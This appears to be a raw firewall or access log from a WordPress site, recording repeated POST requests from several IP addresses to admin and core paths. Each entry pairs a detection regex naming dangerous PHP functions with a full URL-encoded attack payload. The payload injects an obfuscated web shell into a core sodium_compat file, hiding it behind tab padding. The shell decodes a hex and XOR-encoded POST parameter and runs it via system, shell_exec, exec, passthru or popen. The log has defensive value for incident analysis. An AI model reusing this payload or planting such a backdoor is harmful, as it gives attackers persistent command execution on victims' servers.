0=71\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-fetch-dest:document\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:5347\nsec-fetch-user:?1\n\nzN=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519\/H.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524event_dispatcher1%2520%253D%2520%2522sy%255Cx73%255Cx74e%255Cx6D%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522s%255Cx74%255Cx72eam%255Cx5F%255Cx67e%255Cx74_%255Cx63o%255Cx6E%255Cx74e%255Cx6Et%255Cx73%2522%253B%2520%2524event_dispatcher4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73%255Cx73thru%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522%255Cx73h%255Cx65%255Cx6C%255Cx6C_e%255Cx78ec%2522%253B%2520%2524approve_request%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522fa%255Cx63t%255Cx6Fr%2522%255D%2529%2529%2520%257B%2520function%2520dataflow_engine%2520%2528%2520%2524obj%2520%252C%2520%2524descriptor%2520%2529%2520%257B%2520%2524comp%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524obj%2529%2520as%2520%2524char%2529%257B%2524comp.%253Dchr%2528ord%2528%2524char%2529%255E%2524descriptor%2529%253B%257D%2520return%2520%2524comp%253B%2520%257D%2520%2524factor%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522fa%255Cx63t%255Cx6Fr%2522%255D%2529%253B%2520%2524factor%2520%253D%2520dataflow_engine%2528%2524factor%252C%252013%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524factor%252C%2520%2524entry_obj%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entry_obj%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524descriptor_comp%2520%253D%2520%2524event_dispatcher5%2528%2524factor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_comp%2529%2520%257B%2520%2524k_pointer%2520%253D%2520%2524event_dispatcher6%2528%2524descriptor_comp%2529%253B%2520%2524event_dispatcher7%2528%2524descriptor_comp%2529%253B%2520print%2520%2524k_pointer%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:46:36","148.113.9.51","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> aI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519\/H.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524event_dispatcher1%2520%253D%2520%2522sy%255Cx73%255Cx74e%255Cx6D%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522s%255Cx74%255Cx72eam%255Cx5F%255Cx67e%255Cx74_%255Cx63o%255Cx6E%255Cx74e%255Cx6Et%255Cx73%2522%253B%2520%2524event_dispatcher4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73%255Cx73thru%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522%255Cx73h%255Cx65%255Cx6C%255Cx6C_e%255Cx78ec%2522%253B%2520%2524approve_request%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522fa%255Cx63t%255Cx6Fr%2522%255D%2529%2529%2520%257B%2520function%2520dataflow_engine%2520%2528%2520%2524obj%2520%252C%2520%2524descriptor%2520%2529%2520%257B%2520%2524comp%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524obj%2529%2520as%2520%2524char%2529%257B%2524comp.%253Dchr%2528ord%2528%2524char%2529%255E%2524descriptor%2529%253B%257D%2520return%2520%2524comp%253B%2520%257D%2520%2524factor%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522fa%255Cx63t%255Cx6Fr%2522%255D%2529%253B%2520%2524factor%2520%253D%2520dataflow_engine%2528%2524factor%252C%252013%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524factor%252C%2520%2524entry_obj%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entry_obj%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524descriptor_comp%2520%253D%2520%2524event_dispatcher5%2528%2524factor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_comp%2529%2520%257B%2520%2524k_pointer%2520%253D%2520%2524event_dispatcher6%2528%2524descriptor_comp%2529%253B%2520%2524event_dispatcher7%2528%2524descriptor_comp%2529%253B%2520print%2520%2524k_pointer%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLHxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-fetch-dest:document\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:5347\nsec-fetch-user:?1\n\naI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519\/H.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524event_dispatcher1%2520%253D%2520%2522sy%255Cx73%255Cx74e%255Cx6D%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522s%255Cx74%255Cx72eam%255Cx5F%255Cx67e%255Cx74_%255Cx63o%255Cx6E%255Cx74e%255Cx6Et%255Cx73%2522%253B%2520%2524event_dispatcher4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73%255Cx73thru%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522%255Cx73h%255Cx65%255Cx6C%255Cx6C_e%255Cx78ec%2522%253B%2520%2524approve_request%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522fa%255Cx63t%255Cx6Fr%2522%255D%2529%2529%2520%257B%2520function%2520dataflow_engine%2520%2528%2520%2524obj%2520%252C%2520%2524descriptor%2520%2529%2520%257B%2520%2524comp%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524obj%2529%2520as%2520%2524char%2529%257B%2524comp.%253Dchr%2528ord%2528%2524char%2529%255E%2524descriptor%2529%253B%257D%2520return%2520%2524comp%253B%2520%257D%2520%2524factor%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522fa%255Cx63t%255Cx6Fr%2522%255D%2529%253B%2520%2524factor%2520%253D%2520dataflow_engine%2528%2524factor%252C%252013%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524factor%252C%2520%2524entry_obj%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entry_obj%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524descriptor_comp%2520%253D%2520%2524event_dispatcher5%2528%2524factor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_comp%2529%2520%257B%2520%2524k_pointer%2520%253D%2520%2524event_dispatcher6%2528%2524descriptor_comp%2529%253B%2520%2524event_dispatcher7%2528%2524descriptor_comp%2529%253B%2520print%2520%2524k_pointer%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:46:45","103.136.211.220","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> HE:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519\/H.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524event_dispatcher1%2520%253D%2520%2522sy%255Cx73%255Cx74e%255Cx6D%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522s%255Cx74%255Cx72eam%255Cx5F%255Cx67e%255Cx74_%255Cx63o%255Cx6E%255Cx74e%255Cx6Et%255Cx73%2522%253B%2520%2524event_dispatcher4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73%255Cx73thru%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522%255Cx73h%255Cx65%255Cx6C%255Cx6C_e%255Cx78ec%2522%253B%2520%2524approve_request%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522fa%255Cx63t%255Cx6Fr%2522%255D%2529%2529%2520%257B%2520function%2520dataflow_engine%2520%2528%2520%2524obj%2520%252C%2520%2524descriptor%2520%2529%2520%257B%2520%2524comp%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524obj%2529%2520as%2520%2524char%2529%257B%2524comp.%253Dchr%2528ord%2528%2524char%2529%255E%2524descriptor%2529%253B%257D%2520return%2520%2524comp%253B%2520%257D%2520%2524factor%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522fa%255Cx63t%255Cx6Fr%2522%255D%2529%253B%2520%2524factor%2520%253D%2520dataflow_engine%2528%2524factor%252C%252013%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524factor%252C%2520%2524entry_obj%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entry_obj%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524descriptor_comp%2520%253D%2520%2524event_dispatcher5%2528%2524factor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_comp%2529%2520%257B%2520%2524k_pointer%2520%253D%2520%2524event_dispatcher6%2528%2524descriptor_comp%2529%253B%2520%2524event_dispatcher7%2528%2524descriptor_comp%2529%253B%2520print%2520%2524k_pointer%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFRHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-fetch-dest:document\nsec-ch-ua-platform:\"macOS\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:5347\nsec-fetch-user:?1\n\nHE=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519\/H.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524event_dispatcher1%2520%253D%2520%2522sy%255Cx73%255Cx74e%255Cx6D%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522s%255Cx74%255Cx72eam%255Cx5F%255Cx67e%255Cx74_%255Cx63o%255Cx6E%255Cx74e%255Cx6Et%255Cx73%2522%253B%2520%2524event_dispatcher4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73%255Cx73thru%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522%255Cx73h%255Cx65%255Cx6C%255Cx6C_e%255Cx78ec%2522%253B%2520%2524approve_request%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522fa%255Cx63t%255Cx6Fr%2522%255D%2529%2529%2520%257B%2520function%2520dataflow_engine%2520%2528%2520%2524obj%2520%252C%2520%2524descriptor%2520%2529%2520%257B%2520%2524comp%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524obj%2529%2520as%2520%2524char%2529%257B%2524comp.%253Dchr%2528ord%2528%2524char%2529%255E%2524descriptor%2529%253B%257D%2520return%2520%2524comp%253B%2520%257D%2520%2524factor%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522fa%255Cx63t%255Cx6Fr%2522%255D%2529%253B%2520%2524factor%2520%253D%2520dataflow_engine%2528%2524factor%252C%252013%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524factor%252C%2520%2524entry_obj%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524entry_obj%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524descriptor_comp%2520%253D%2520%2524event_dispatcher5%2528%2524factor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_comp%2529%2520%257B%2520%2524k_pointer%2520%253D%2520%2524event_dispatcher6%2528%2524descriptor_comp%2529%253B%2520%2524event_dispatcher7%2528%2524descriptor_comp%2529%253B%2520print%2520%2524k_pointer%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:46:48","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519\/H.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524event_dispatcher1%2520%253D%2520%2522sy%255Cx73%255Cx74e%255Cx6D%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522s%255Cx74%255Cx72eam%255Cx5F%255Cx67e%255Cx74_%255Cx63o%255Cx6E%255Cx74e%255Cx6Et%255Cx73%2522%253B%2520%2524event_dispatcher4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73%255Cx73thru%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522%255Cx73h%255Cx65%255Cx6C%255Cx6C_e%255Cx78ec%2522%253B%2520